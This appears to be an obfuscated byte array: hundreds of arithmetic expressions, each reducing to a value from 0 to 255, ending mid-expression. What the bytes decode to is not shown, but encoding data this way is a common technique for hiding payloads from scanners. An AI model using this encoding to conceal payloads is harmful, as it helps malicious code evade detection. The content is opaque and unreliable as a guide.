(14136881073595534804 + 23944) // 2 - 7068440536797767402 - 11808, 211044384342553920470 - 211044384342553920444, (2680100724372275944 + 82720) // 2 - 1340050362186137972 - 41184, (5218049641874429658 + 72664) // 2 - 2609024820937214829 - 36208, (12256143142221676482 + 181908) // 2 - 6128071571110838241 - 90768, (5047550325989792852 + 67520) // 2 - 2523775162994896426 - 33680, 455825738269236418524 - 455825738269236418398, 503729576509885287470 - 503729576509885287300, 785570773497883771268 - 785570773497883771039, (13692123595669050000 + 182726) // 2 - 6846061797834525000 - 91152, 2095692689906502309342 - 2095692689906502309099, 697608339473893453028 - 697608339473893452912, (594341456305216542 + 26790) // 2 - 297170728152608271 - 13348, 68051146948500932700 - 68051146948500932590, 1263196004761376828376 - 1263196004761376828220, (16355367990753506660 + 105380) // 2 - 8177683995376753330 - 52580, 112839448555471183848 - 112839448555471183632, 531922516371192294179 - 531922516371192294108, (8608051237108301280 + 41418) // 2 - 4304025618554150640 - 20592, 218970040282519160256 - 218970040282519160224, 756684969696355462155 - 756684969696355461996, (17639039746148442268 + 100640) // 2 - 8819519873074221134 - 50184, (16311561212708569042 + 166944) // 2 - 8155780606354284521 - 83250, (4708374724267362196 + 25596) // 2 - 2354187362133681098 - 12719, 251479872937609631652 - 251479872937609631514, 581740794121668087588 - 581740794121668087522, (1549007987505416552 + 175698) // 2 - 774503993752708276 - 87622, (6398426395838813306 + 9300) // 2 - 3199213197919406653 - 4557, 30730065672206512210 - 30730065672206512205, 241718734349053084374 - 241718734349053084305, 261616974278614427100 - 261616974278614426930, (13316200905664709506 + 68256) // 2 - 6658100452832354753 - 34020, (11852480236218406556 + 77914) // 2 - 5926240118109203278 - 38794, 105103325206732245136 - 105103325206732245000, (14704018235662746894 + 37600) // 2 - 7352009117831373447 - 18760, (4859045506281835288 + 21384) // 2 - 2429522753140917644 - 10638, (5005276919638121020 + 7936) // 2 - 2502638459819060510 - 3952, 809622725025177941733 - 809622725025177941610, 16539520601455822413 - 16539520601455822410, (11966816282539922726 + 86400) // 2 - 5983408141269961363 - 43110, (5898817803083780576 + 23616) // 2 - 2949408901541890288 - 11712, (2773992048017265978 + 91296) // 2 - 1386996024008632989 - 45504, 421565158668661972104 - 421565158668661972020, (17977759691771443260 + 98000) // 2 - 8988879845885721630 - 48902, (915301950801295468 + 29792) // 2 - 457650975400647734 - 14784, (1038535374903035448 + 129500) // 2 - 519267687451517724 - 64500, (2239387333666594326 + 102300) // 2 - 1119693666833297163 - 51040, 29670194884696776060 - 29670194884696776025, (12407419197989342278 + 18724) // 2 - 6203709598994671139 - 9211, (6809910275151010586 + 139008) // 2 - 3404955137575505293 - 69312, (3829730741755079988 + 135080) // 2 - 1914865370877539994 - 67320, (2624964809824415128 + 37888) // 2 - 1312482404912207564 - 18816, 17245322979630215496 - 17245322979630215472, 577776126141760312350 - 577776126141760312281, 1588648837046302122767 - 1588648837046302122570, 557073590518078641790 - 557073590518078641675, 1508933111067816557190 - 1508933111067816556955, (5739405867400951692 + 89488) // 2 - 2869702933700475846 - 44650, 233077240622702611995 - 233077240622702611746, (15929250868641081208 + 58000) // 2 - 7964625434320540604 - 28768, 530007383746918923415 - 530007383746918923230, (5084690639953849940 + 74824) // 2 - 2542345319976924970 - 37224, 71395837933101772206 - 71395837933101772175, (9595357234230489068 + 50508) // 2 - 4797678617115244534 - 25193, 54328356982237973866 - 54328356982237973772, 1174501915343809681499 - 1174501915343809681272, (9018857104623827080 + 13552) // 2 - 4509428552311913540 - 6762, 125275318844315476320 - 125275318844315476305, (6427993046510754080 + 5532) // 2 - 3213996523255377040 - 2760, 148786223797653006950 - 148786223797653006805, (16186896224501328166 + 4224) // 2 - 8093448112250664083 - 2090, (7857914682345973958 + 48158) // 2 - 3928957341172986979 - 23880, (3438094067408515214 + 70320) // 2 - 1719047033704257607 - 35040, 71706069128536311648 - 71706069128536311600, 645264226414699396246 - 645264226414699396164, 1220649188618805647472 - 1220649188618805647284, (9815149729497022080 + 95100) // 2 - 4907574864748511040 - 47400, 1519864987522878107400 - 1519864987522878107189, (3147576048953504312 + 39930) // 2 - 1573788024476752156 - 19800, (13322971923014665810 + 80136) // 2 - 6661485961507332905 - 39909, (10223855377750371386 + 41208) // 2 - 5111927688875185693 - 20503, (11903765280785108954 + 161588) // 2 - 5951882640392554477 - 80595, (11399121810009811924 + 49504) // 2 - 5699560905004905962 - 24640, (3493612642504486624 + 7488) // 2 - 1746806321252243312 - 3696, 1452636466296508781490 - 1452636466296508781272, (14150314775301304780 + 64740) // 2 - 7075157387650652390 - 32121, 766374154174593380940 - 766374154174593380752, 7655185357529496160 - 7655185357529496116, (18290373158066380974 + 42032) // 2 - 9145186579033190487 - 20874, 738643672956887055296 - 738643672956887055178, 1219965658335323536080 - 1219965658335323535825, 474760319015460276198 - 474760319015460276056, (13369661325988444014 + 4788) // 2 - 6684830662994222007 - 2380, 51169534930418758700 - 51169534930418758590, (2067131741599507848 + 28710) // 2 - 1033565870799753924 - 14210, (10846066613638617508 + 39168) // 2 - 5423033306819308754 - 19440, (2689405741680049828 + 52920) // 2 - 1344702870840024914 - 26400, (5288373237116547162 + 12068) // 2 - 2644186618558273581 - 6020, (17522029048699366840 + 31122) // 2 - 8761014524349683420 - 15314, (6129884890328692438 + 161952) // 2 - 3064942445164346219 - 80808, (666628316609718478 + 152460) // 2 - 333314158304859239 - 75999, 147437081679469246692 - 147437081679469246661, 348786708657117728721 - 348786708657117728664, 253408796454296213484 - 253408796454296213328, (10077973012357713174 + 112500) // 2 - 5038986506178856587 - 56100, (4005940742006466510 + 88160) // 2 - 2002970371003233255 - 43935, 92447989806044032040 - 92447989806044032020, (12804536939027802570 + 182118) // 2 - 6402268469513901285 - 90820, 157080075099478459328 - 157080075099478459264, 236862067901925037920 - 236862067901925037680, (17777683000265156272 + 136836) // 2 - 8888841500132578136 - 68229, (15926412891982446072 + 9720) // 2 - 7963206445991223036 - 4770, 106500783672643200722 - 106500783672643200580, (18273375708161320366 + 41728) // 2 - 9136687854080660183 - 20736, 311112564262706806488 - 311112564262706806431, (6472387513620626722 + 187480) // 2 - 3236193756810313361 - 93525, (5990995767341848732 + 25088) // 2 - 2995497883670924366 - 12320, 156979306584761210898 - 156979306584761210867, (17412825363477203592 + 2436) // 2 - 8706412681738601796 - 1204, 1251898974746035785449 - 1251898974746035785208, (1893438813424754972 + 51660) // 2 - 946719406712377486 - 25725, 1642250962320745924523 - 1642250962320745924312, (1500045077576112414 + 9890) // 2 - 750022538788056207 - 4922, 84559644610260283034 - 84559644610260282996, (5673356152617488928 + 98250) // 2 - 2836678076308744464 - 48994, 896124856072124092185 - 896124856072124092050, 158659292409349775250 - 158659292409349775148, (14514901576953758524 + 45630) // 2 - 7257450788476879262 - 22646, (11171319004528503334 + 23400) // 2 - 5585659502264251667 - 11610, (1335285978635474846 + 112540) // 2 - 667642989317737423 - 56100, 372349819433465991108 - 372349819433465990974, 578131162741829076416 - 578131162741829076352, 679748656548474937613 - 679748656548474937480, 6549503251613748880 - 6549503251613748878, 647802288135009454425 - 647802288135009454322, (10402148122971448120 + 11336) // 2 - 5201074061485724060 - 5642, 416914173841303528526 - 416914173841303528464, 18078250863316175440 - 18078250863316175256, 355268356869139876080 - 355268356869139875936, 1705489745663384112157 - 1705489745663384111916, (11694430754675501928 + 86500) // 2 - 5847215377337750964 - 43077, 70061646524355311540 - 70061646524355311488, (14422834456367863964 + 38720) // 2 - 7211417228183931982 - 19272, 110202668300230528882 - 110202668300230528776, 1443564397454293833180 - 1443564397454293833015, 488489183802009284364 - 488489183802009284246, 1094668340727557306480 - 1094668340727557306326, (7590040862726503034 + 152334) // 2 - 3795020431363251517 - 75978, (6381562564000880520 + 8900) // 2 - 3190781282000440260 - 4440, (12157844345595502342 + 1692) // 2 - 6078922172797751171 - 837, (18188962756160248254 + 143040) // 2 - 9094481378080124127 - 71360, 1262982438985967177480 - 1262982438985967177295, 420316352386651749938 - 420316352386651749847, 1136017792961439586185 - 1136017792961439585990, (3647891941103804962 + 9216) // 2 - 1823945970551902481 - 4560, 1089133833588715948106 - 1089133833588715947967, 472219455509729687550 - 472219455509729687445, 422706938044463803566 - 422706938044463803512, (11578545906389360958 + 16000) // 2 - 5789272953194680479 - 7936, (14842682115723116250 + 110976) // 2 - 7421341057861558125 - 55284, (12644655955653322584 + 197538) // 2 - 6322327977826661292 - 98550, 342247391925477156987 - 342247391925477156866, 442757530524224672442 - 442757530524224672379, 2224929923807833503371 - 2224929923807833503120, 1289310159105460448723 - 1289310159105460448502, 646075098185622185136 - 646075098185622185044, (14435117104987297436 + 33810) // 2 - 7217558552493648718 - 16870, 672840268838626328945 - 672840268838626328860, (18137224355029741982 + 112926) // 2 - 9068612177514870991 - 56286, (6142768131107346458 + 11544) // 2 - 3071384065553673229 - 5746, (17353054025412565130 + 113870) // 2 - 8676527012706282565 - 56742, (11036522042565649102 + 12740) // 2 - 5518261021282824551 - 6272, 74560022768962275849 - 74560022768962275606, (5927265167665633332 + 73084) // 2 - 2963632583832816666 - 36421, 407576569777856935631 - 407576569777856935498, 124541639502668787135 - 124541639502668786970, (14442374307381792746 + 34532) // 2 - 7221187153690896373 - 17169, 339417991386986785040 - 339417991386986784826, 363884203291279075272 - 363884203291279075196, (14600970012021469752 + 33330) // 2 - 7300485006010734876 - 16564, (6861673031205900728 + 31920) // 2 - 3430836515602950364 - 15884, 85739672197385908233 - 85739672197385908212, 1444117951433774645385 - 1444117951433774645156, 119740563074488798008 - 119740563074488797840, 986911555791162311475 - 986911555791162311330, (5947843741506790800 + 199836) // 2 - 2973921870753395400 - 99684, (3219609900039461364 + 64242) // 2 - 1609804950019730682 - 31992, (14132491805611690896 + 56940) // 2 - 7066245902805845448 - 28392, (5624409879105990488 + 106260) // 2 - 2812204939552995244 - 52976, (13356911179011736406 + 107730) // 2 - 6678455589505868203 - 53732, (4237874034281768894 + 75810) // 2 - 2118937017140884447 - 37772, (13763915401256156872 + 19398) // 2 - 6881957700628078436 - 9638, (8926037355121440050 + 178020) // 2 - 4463018677560720025 - 88803, (2971847870386325736 + 26026) // 2 - 1485923935193162868 - 12844, (10258085785658735288 + 20194) // 2 - 5129042892829367644 - 10074, 185610010948697862141 - 185610010948697862090, 332148814456053822948 - 332148814456053822696, 2101108141162634359110 - 2101108141162634358875, 158698992279520903069 - 158698992279520903050, 471266689298280125712 - 471266689298280125618, (13155810255536150042 + 145416) // 2 - 6577905127768075021 - 72542, (4575696050786798822 + 65208) // 2 - 2287848025393399411 - 32357, (17747230685573629552 + 129506) // 2 - 8873615342786814776 - 64532, 732930723652035048327 - 732930723652035048174, (7277185279599711902 + 10560) // 2 - 3638592639799855951 - 5236, 1392113806472969088 - 1392113806472969080, (1686023772184968024 + 169194) // 2 - 843011886092484012 - 84424, (9649967951853509064 + 8046) // 2 - 4824983975926754532 - 3996, (753121245435340636 + 41760) // 2 - 376560622717670318 - 20706, 1238170186447262565591 - 1238170186447262565358, 499782678989268978347 - 499782678989268978226, (16947069288717166732 + 51408) // 2 - 8473534644358583366 - 25578, (12701408201870092378 + 13632) // 2 - 6350704100935046189 - 6745, (11946267131516205664 + 8760) // 2 - 5973133565758102832 - 4368, 30959749253740377976 - 30959749253740377770, (8622404522168195802 + 20910) // 2 - 4311202261084097901 - 10414, (6073895029491938640 + 40310) // 2 - 3036947514745969320 - 20010, 1453324933985266532007 - 1453324933985266531806, (4716055239353965172 + 121412) // 2 - 2358027619676982586 - 60467, (10443596381351261186 + 45448) // 2 - 5221798190675630593 - 22477, (9227542400899642248 + 82350) // 2 - 4613771200449821124 - 40950, (13928126934423606128 + 219436) // 2 - 6964063467211803064 - 109480, (5570255744489587844 + 38446) // 2 - 2785127872244793922 - 19176, 122656477589322495616 - 122656477589322495602, 236701864263697229756 - 236701864263697229680, 885091082385911946230 - 885091082385911946025, (13188603077882608362 + 7998) // 2 - 6594301538941304181 - 3956, 173825030663613380066 - 173825030663613380028, 173479558715320704168 - 173479558715320704144, 292060602413939926304 - 292060602413939926272, 108143845150021865028 - 108143845150021864992, (18269646546352210128 + 57950) // 2 - 9134823273176105064 - 28880, 65259924047953516440 - 65259924047953516431, (12235375186180052118 + 43610) // 2 - 6117687593090026059 - 21560, 592619702642339026368 - 592619702642339026124, 252705873466490801085 - 252705873466490800842, 46580334937865161032 - 46580334937865161008, 858493565591073375 - 858493565591073372, 594530102154481818648 - 594530102154481818577, 474575849241745377585 - 474575849241745377372, (3601063067979369024 + 18768) // 2 - 1800531533989684512 - 9282, 894943818332598643476 - 894943818332598643353, 79408690318751649910 - 79408690318751649887, (5936614294238371098 + 6806) // 2 - 2968307147119185549 - 3362, (7875133438963855590 + 14824) // 2 - 3937566719481927795 - 7344, (5557898605803189802 + 31540) // 2 - 2778949302901594901 - 15604, (5079076465485395326 + 123914) // 2 - 2539538232742697663 - 61790, 30475541440336791495 - 30475541440336791310, (6956015891636860716 + 70518) // 2 - 3478007945818430358 - 35186, 3787304037569520020 - 3787304037569519950, 152003457864310887345 - 152003457864310887288, (4208623392569602172 + 123380) // 2 - 2104311696284801086 - 61491, (11543800503549486500 + 12840) // 2 - 5771900251774743250 - 6360, (13412317717503929644 + 190704) // 2 - 6706158858751964822 - 95120, 1527824922813738938610 - 1527824922813738938420, (12439964489402229316 + 20532) // 2 - 6219982244701114658 - 10148, (5279895870804527804 + 67620) // 2 - 2639947935402263902 - 33695, 577054308048891609024 - 577054308048891608960, 1712395522537088294259 - 1712395522537088294046, 1008048484167850598924 - 1008048484167850598712, (10380378039846230310 + 3270) // 2 - 5190189019923115155 - 1630, (16141749775602300812 + 101870) // 2 - 8070874887801150406 - 50768, (3258237235355250972 + 11610) // 2 - 1629118617677625486 - 5778, (14299163058189608320 + 139152) // 2 - 7149581529094804160 - 69353, 6635000189582115026 - 6635000189582115025, (4278576134189259704 + 144870) // 2 - 2139288067094629852 - 72270, (10050170439423612962 + 118584) // 2 - 5025085219711806481 - 59170, (17490825101919897808 + 9752) // 2 - 8745412550959948904 - 4853, 1568867086367446751580 - 1568867086367446751390, 140384060499328663218 - 140384060499328663112, 96777863206566830568 - 96777863206566830484, (8067428355454627758 + 99840) // 2 - 4033714177727313879 - 49792, (1138072284780066706 + 71536) // 2 - 569036142390033353 - 35632, 382296175729374544090 - 382296175729374544016, (17771001430134615294 + 23240) // 2 - 8885500715067307647 - 11592, (7060427503974395718 + 24592) // 2 - 3530213751987197859 - 12190, (15282578432955423108 + 35392) // 2 - 7641289216477711554 - 17472, 10164784918699254140 - 10164784918699254118, 76822116564230119104 - 76822116564230119082, 239668692222482815362 - 239668692222482815320, (8659254941462225382 + 46176) // 2 - 4329627470731112691 - 22932, 954317265380735450831 - 954317265380735450722, (6047445035354736376 + 83720) // 2 - 3023722517677368188 - 41720, 178872418027085567154 - 178872418027085566905, 100645413343806835477 - 100645413343806835424, 28458012761261221740 - 28458012761261221635, 74169567389648710224 - 74169567389648710098, (10148759044683234714 + 108882) // 2 - 5074379522341617357 - 54234, (16563052576842226146 + 79310) // 2 - 8281526288421113073 - 39552, 1313758655131303377302 - 1313758655131303377048, (10406833619414460058 + 71424) // 2 - 5203416809707230029 - 35568, (17408712301495844852 + 171140) // 2 - 8704356150747922426 - 85355, (12794356715870426006 + 18560) // 2 - 6397178357935213003 - 9200, 331041258017496957651 - 331041258017496957602, 152888936334937035072 - 152888936334937034848, 1389311489156210493510 - 1389311489156210493341, (10442494439304477134 + 12000) // 2 - 5221247219652238567 - 5985, 1672099038716996863732 - 1672099038716996863490, 189452221771418010904 - 189452221771418010866, (508900836754323808 + 22940) // 2 - 254450418377161904 - 11433, 22575255768225499440 - 22575255768225499320, 84169181177557404584 - 84169181177557404511, 33428629666997554612 - 33428629666997554605, (3019725875359215798 + 1902) // 2 - 1509862937679607899 - 948, 1715795884048692344535 - 1715795884048692344290, 1036012617453239227240 - 1036012617453239227035, (18260434357917102818 + 8840) // 2 - 9130217178958551409 - 4394, (12679476327589554770 + 36600) // 2 - 6339738163794777385 - 18200, 654234047139125775456 - 654234047139125775312, 745180046539969606423 - 745180046539969606302, (1309305192283401204 + 11328) // 2 - 654652596141700602 - 5640, (8060970030058100306 + 80080) // 2 - 4030485015029050153 - 39930, 71389330688584623553 - 71389330688584623482, 109067718591149140680 - 109067718591149140548, (4703767910381123014 + 6760) // 2 - 2351883955190561507 - 3360, (13916364391869661964 + 151690) // 2 - 6958182195934830982 - 75648, 697673944681355902546 - 697673944681355902305, (4464153458868503830 + 96760) // 2 - 2232076729434251915 - 48216, (11267874892558522730 + 12028) // 2 - 5633937446279261365 - 5952, 1087434400842477574315 - 1087434400842477574172, 655439625430224879090 - 655439625430224878859, 287777390605769855362 - 287777390605769855316, 30939390122229818658 - 30939390122229818580, 3192622177084598800 - 3192622177084598792, (17885343949667600884 + 15656) // 2 - 8942671974833800442 - 7725, 180263270581238630158 - 180263270581238630012, 198670001428250301 - 198670001428250298, (985529380217850400 + 78246) // 2 - 492764690108925200 - 39042, (13605126268119149624 + 98792) // 2 - 6802563134059574812 - 49290, (7557203914472166678 + 82896) // 2 - 3778601957236083339 - 41316, 825353171214915893186 - 825353171214915893004, 245497687626560334636 - 245497687626560334504, 421406936847244081536 - 421406936847244081434, (14986228141322348756 + 7200) // 2 - 7493114070661174378 - 3564, (3453478932001472998 + 100320) // 2 - 1726739466000736499 - 50040, (13395237392328349804 + 4704) // 2 - 6697618696164174902 - 2328, (18415757359181914598 + 17150) // 2 - 9207878679590957299 - 8540, (17333184210003762256 + 11856) // 2 - 8666592105001881128 - 5871, (10020600115429625534 + 58630) // 2 - 5010300057714812767 - 29250, (8974209718467956160 + 20130) // 2 - 4487104859233978080 - 10004, 215876887539328821570 - 215876887539328821475, (9875400175239240676 + 17064) // 2 - 4937700087619620338 - 8496, 179607659211923664770 - 179607659211923664685, (10334725082921100372 + 64184) // 2 - 5167362541460550186 - 31979, (14811274618789178118 + 48336) // 2 - 7405637309394589059 - 24062, (18373387865586240934 + 4600) // 2 - 9186693932793120467 - 2280, (17548041587745036754 + 34424) // 2 - 8774020793872518377 - 17160, (5600881513970059486 + 29232) // 2 - 2800440756985029743 - 14580, (14241340348582061998 + 23432) // 2 - 7120670174291030999 - 11687, 571974932913831967917 - 571974932913831967824, 45579540672238369350 - 45579540672238369236, 371214097010468271890 - 371214097010468271847, 1044139134180248793720 - 1044139134180248793488, (2460935280207528114 + 21500) // 2 - 1230467640103764057 - 10707, 248191122249113382810 - 248191122249113382780, (7461885558711616052 + 28272) // 2 - 3730942779355808026 - 14012, 72783903934675844931 - 72783903934675844828, (9086505961182354708 + 53628) // 2 - 4543252980591177354 - 26732, 357551171720922403350 - 357551171720922403200, (10796588594066422624 + 24300) // 2 - 5398294297033211312 - 12105, (587553864207832268 + 23850) // 2 - 293776932103916134 - 11766, 558966951296090078896 - 558966951296090078643, (11662418307511370766 + 216630) // 2 - 5831209153755685383 - 108066, (2705325814511046104 + 100050) // 2 - 1352662907255523052 - 49880, 887582062536810420624 - 887582062536810420403, 1135246004567919757950 - 1135246004567919757720, (7199605439594987456 + 38304) // 2 - 3599802719797493728 - 18924, (5255416752187451018 + 21470) // 2 - 2627708376093725509 - 10622, (2139770461127831962 + 75516) // 2 - 1069885230563915981 - 37555, 880660958847725803646 - 880660958847725803444, (5045341139583404754 + 80352) // 2 - 2522670569791702377 - 40083, (14628684524502693658 + 45570) // 2 - 7314342262251346829 - 22692, (14350670247047955884 + 43456) // 2 - 7175335123523977942 - 21534, 810870379201051084086 - 810870379201051083912, 1092528370244479381395 - 1092528370244479381148, 12024548124602279110 - 12024548124602279105, (12589911140983841952 + 83000) // 2 - 6294955570491920976 - 41375, (141054471736726780 + 45344) // 2 - 70527235868363390 - 22464, (11770574352463787002 + 201240) // 2 - 5885287176231893501 - 100386, (12866238980284097068 + 46800) // 2 - 6433119490142048534 - 23250, 1400853286006966217646 - 1400853286006966217455, 908296834908509717930 - 908296834908509717775, (3594955227326252880 + 20020) // 2 - 1797477613663126440 - 9867, 796517651715202576068 - 796517651715202575904, (5731184084349696246 + 45458) // 2 - 2865592042174848123 - 22538, 800598303492324742984 - 800598303492324742868, 311520407486375495590 - 311520407486375495525, 183585683438366971437 - 183585683438366971400, 1172806641383924642136 - 1172806641383924641909, 632768137851498063991 - 632768137851498063902, (15958452214100249590 + 73032) // 2 - 7979226107050124795 - 36312, (6537913217591316194 + 3904) // 2 - 3268956608795658097 - 1920, (210804629460483864 + 78442) // 2 - 105402314730241932 - 39130, 469862542238206156620 - 469862542238206156405, (1736110503231871026 + 223822) // 2 - 868055251615935513 - 111684, (13058421363751631692 + 34170) // 2 - 6529210681875815846 - 16884, (9969585601018757390 + 113792) // 2 - 4984792800509378695 - 56672, 446845556866427623372 - 446845556866427623320, (3045820443766381418 + 328) // 2 - 1522910221883190709 - 162, (7415228652569080470 + 193698) // 2 - 3707614326284540235 - 96638, 31387103306952850344 - 31387103306952850320, 879591645321188805280 - 879591645321188805170, 186930525142987277640 - 186930525142987277520, (17422547086024831598 + 50410) // 2 - 8711273543012415799 - 25134, (7669422268977390484 + 102900) // 2 - 3834711134488695242 - 51240, 993600170639526357750 - 993600170639526357625, (16998450937027296312 + 194964) // 2 - 8499225468513648156 - 97251, 622748129105079353805 - 622748129105079353662, (2610947466866141254 + 51360) // 2 - 1305473733433070627 - 25466, 0 - 0, (17172922528454880170 + 83496) // 2 - 8586461264227440085 - 41606, 809282866595513390028 - 809282866595513389911, (3576609568198325880 + 40014) // 2 - 1788304784099162940 - 19890, 939968908478153977235 - 939968908478153977080, 477330921560311086490 - 477330921560311086405, 710409631744920778595 - 710409631744920778390, (3625959679988881932 + 45892) // 2 - 1812979839994440966 - 22792, (3394586000244268052 + 114432) // 2 - 1697293000122134026 - 57088, 1589281526780953242036 - 1589281526780953241853, 647448236175293894808 - 647448236175293894562, (13545507258873777530 + 153576) // 2 - 6772753629436888765 - 76545, 1031676839473705947116 - 1031676839473705946872, 767312292202218981840 - 767312292202218981720, 24344033944736928611 - 24344033944736928604, 25416731654607003196 - 25416731654607003120, 40429689628201559924 - 40429689628201559917, (7860049224528820178 + 54054) // 2 - 3930024612264410089 - 26910, (13433870138257911562 + 15756) // 2 - 6716935069128955781 - 7852, (3231396789271578590 + 40158) // 2 - 1615698394635789295 - 19982, (14053906089274649988 + 44352) // 2 - 7026953044637324994 - 22032, 10162544757106292829 - 10162544757106292802, (14527013801556009250 + 160720) // 2 - 7263506900778004625 - 80155, 1449480491642917530832 - 1449480491642917530669, (13803526875726915206 + 193640) // 2 - 6901763437863457603 - 96614, 43861098836358567792 - 43861098836358567708, (17104138815145169140 + 27716) // 2 - 8552069407572584570 - 13817, 475356389610456648910 - 475356389610456648668, 794355953388485336388 - 794355953388485336286, 512120353576824522000 - 512120353576824521856, 1446054540625168579289 - 1446054540625168579066, (943578987439724584 + 76424) // 2 - 471789493719862292 - 37979, 779896023234259008242 - 779896023234259007989, (12690127814859509900 + 13818) // 2 - 6345063907429754950 - 6862, (9829523692243736774 + 59976) // 2 - 4914761846121868387 - 29862, 725722533139560378048 - 725722533139560377832, 1255199066257234150325 - 1255199066257234150150, 98849694687114152163 - 98849694687114151952, 548341528069433402829 - 548341528069433402742, (3919078134857070808 + 33840) // 2 - 1959539067428535404 - 16848, 499944947899220799192 - 499944947899220799130, 1108545239207863756272 - 1108545239207863756113, (17480971174443204710 + 227916) // 2 - 8740485587221602355 - 113724, (4130153626443176814 + 21824) // 2 - 2065076813221588407 - 10880, 1496729337725485521220 - 1496729337725485521014, (10603700885303821092 + 18564) // 2 - 5301850442651910546 - 9261, 1642680221348009401149 - 1642680221348009400956, (4854903163381058270 + 212472) // 2 - 2427451581690529135 - 106002, (8617225139278417848 + 185920) // 2 - 4308612569639208924 - 92736, 554739130947021774489 - 554739130947021774366, (1263822069443715578 + 14700) // 2 - 631911034721857789 - 7325, 116846144038347128400 - 116846144038347128385, (16829827340850947324 + 15408) // 2 - 8414913670425473662 - 7597, (7931898446686178128 + 209664) // 2 - 3965949223343089064 - 104598, (17113775470124688008 + 115368) // 2 - 8556887735062344004 - 57475, (2829665495983049076 + 25320) // 2 - 1414832747991524538 - 12600, 1089696955541247875078 - 1089696955541247874936, 607126201202705968944 - 607126201202705968836, 849085472977029492672 - 849085472977029492568, (12379809037612933282 + 8832) // 2 - 6189904518806466641 - 4392, 1699425045560756868216 - 1699425045560756867984, (14999050854440821690 + 35280) // 2 - 7499525427220410845 - 17570, (534557613130370006 + 65920) // 2 - 267278806565185003 - 32800, 449529171355858508868 - 449529171355858508746, 129184002673909555008 - 129184002673909554816, 176948315811690120018 - 176948315811690119847, 282853640050898648940 - 282853640050898648880, 144270318498852468000 - 144270318498852467935, (15471374231439580904 + 25284) // 2 - 7735687115719790452 - 12593, (7926127415588048088 + 131652) // 2 - 3963063707794024044 - 65619, 998824740463592300030 - 998824740463592299860, (7671295241398410874 + 77602) // 2 - 3835647620699205437 - 38560, (11624739248161180438 + 6048) // 2 - 5812369624080590219 - 2997, 936998470107064759462 - 936998470107064759229, 11734553391839642793 - 11734553391839642760, 74338935171302174338 - 74338935171302174216, (13806564075711284680 + 223896) // 2 - 6903282037855642340 - 111720, (5578968215943124616 + 95976) // 2 - 2789484107971562308 - 47864, (1651297787420905178 + 79800) // 2 - 825648893710452589 - 39786, 181912050437335612160 - 181912050437335612095, (11164998886932999372 + 7392) // 2 - 5582499443466499686 - 3654, 475236026024082675024 - 475236026024082674840, (13111155377013167642 + 233700) // 2 - 6555577688506583821 - 116604, 1422418363570391134920 - 1422418363570391134692, (3964859250524967952 + 34870) // 2 - 1982429625262483976 - 17380, (2731402292336701314 + 109220) // 2 - 1365701146168350657 - 54356, (8823130508036130920 + 91632) // 2 - 4411565254018065460 - 45567, 63071235633788904564 - 63071235633788904546, (3626543866661702774 + 69230) // 2 - 1813271933330851387 - 34500, 944583146172628134031 - 944583146172628133894, (13557407150898810696 + 39974) // 2 - 6778703575449405348 - 19908, 86354887886822470464 - 86354887886822470392, (16633651064778784012 + 43092) // 2 - 8316825532389392006 - 21413, 431919211780207697505 - 431919211780207697270, 304234282998602881269 - 304234282998602881212, 1277214555952819693067 - 1277214555952819692910, 146627526275510197158 - 146627526275510196987, 1249161550204530073620 - 1249161550204530073430, (8575644148682579866 + 19656) // 2 - 4287822074341289933 - 9744, (12938234173153287954 + 14260) // 2 - 6469117086576643977 - 7107, (5847220439919063902 + 6578) // 2 - 2923610219959531951 - 3266, (9921242720067540252 + 46170) // 2 - 4960621360033770126 - 22950, (8429020482949500618 + 62780) // 2 - 4214510241474750309 - 31304, (11599721813476022218 + 156450) // 2 - 5799860906738011109 - 78050, 345015074833481615200 - 345015074833481614980, 1561024487745692307373 - 1561024487745692307146, 223283732570532211716 - 223283732570532211689, (5854521928257667890 + 110032) // 2 - 2927260964128833945 - 54832, 634230687312079605906 - 634230687312079605687, 1439166666480046893202 - 1439166666480046892960, 839876855778373989906 - 839876855778373989708, (14952669311929184956 + 0) // 2 - 7476334655964592478 - 0, 319349370884113417464 - 319349370884113417410, 719455110668215076870 - 719455110668215076727, 520436083735993808552 - 520436083735993808448, (12472010935397968326 + 47530) // 2 - 6236005467698984163 - 23716, 67924831925336340411 - 67924831925336340228, (17259190415144135976 + 24420) // 2 - 8629595207572067988 - 12099, (3327099611565911314 + 33528) // 2 - 1663549805782955657 - 16698, (11100906910045400980 + 57084) // 2 - 5550453455022700490 - 28408, 1773893133546431163360 - 1773893133546431163120, (808142983953175494 + 97356) // 2 - 404071491976587747 - 48564, 987183172316780146295 - 987183172316780146050, 599329669910730743985 - 599329669910730743754, 3503411265035857588 - 3503411265035857560, (9650204076973402406 + 87856) // 2 - 4825102038486701203 - 43792, 1138134276879213154856 - 1138134276879213154665, 63028143859171424340 - 63028143859171424307, 621519227173633467470 - 621519227173633467376, (4460892950394034892 + 42570) // 2 - 2230446475197017446 - 21156, 82085056071177203325 - 82085056071177203316, 1088398235613729800646 - 1088398235613729800508, (2877863996130665402 + 85184) // 2 - 1438931998065332701 - 42471, (7080547902589253196 + 15652) // 2 - 3540273951294626598 - 7783, 1070302985662821927516 - 1070302985662821927370, (726710393689510322 + 12432) // 2 - 363355196844755161 - 6192, 285152404815061076644 - 285152404815061076592, (5743793024094053282 + 65660) // 2 - 2871896512047026641 - 32585, 114765796983521043000 - 114765796983521042775, 17563661726057949151 - 17563661726057948958, (13773924489679877846 + 92928) // 2 - 6886962244839938923 - 46222, (18211750925880599504 + 4248) // 2 - 9105875462940299752 - 2106, 438394937375953536853 - 438394937375953536740, 640142337709597352604 - 640142337709597352423, 954302245892242719780 - 954302245892242719549, 133160017749723247495 - 133160017749723247478, (12517903942739502108 + 166740) // 2 - 6258951971369751054 - 83160, 608588346726275570514 - 608588346726275570413, (6638267608136197568 + 5404) // 2 - 3319133804068098784 - 2688, 965800559178950775016 - 965800559178950774858, (8570311055493504444 + 174720) // 2 - 4285155527746752222 - 87165, (16479610257301525426 + 42818) // 2 - 8239805128650762713 - 21330, (14556186028547395066 + 201600) // 2 - 7278093014273697533 - 100590, 787032886137832985112 - 787032886137832984965, (5641448059016291138 + 81168) // 2 - 2820724029508145569 - 40356, (10083148842096207332 + 19760) // 2 - 5041574421048103666 - 9690, (16346212008063570144 + 174216) // 2 - 8173106004031785072 - 86864, 505141168024676938428 - 505141168024676938360, 899401105239632630705 - 899401105239632630592, (7249124613098756186 + 30080) // 2 - 3624562306549378093 - 14976, 1878167595715304004307 - 1878167595715304004096, 47086634754309560694 - 47086634754309560457, (14529759428815656886 + 109956) // 2 - 7264879714407828443 - 54824, (1197616357854834700 + 5222) // 2 - 598808178927417350 - 2604, 1053678363747882482016 - 1053678363747882481804, 10548203467983791328 - 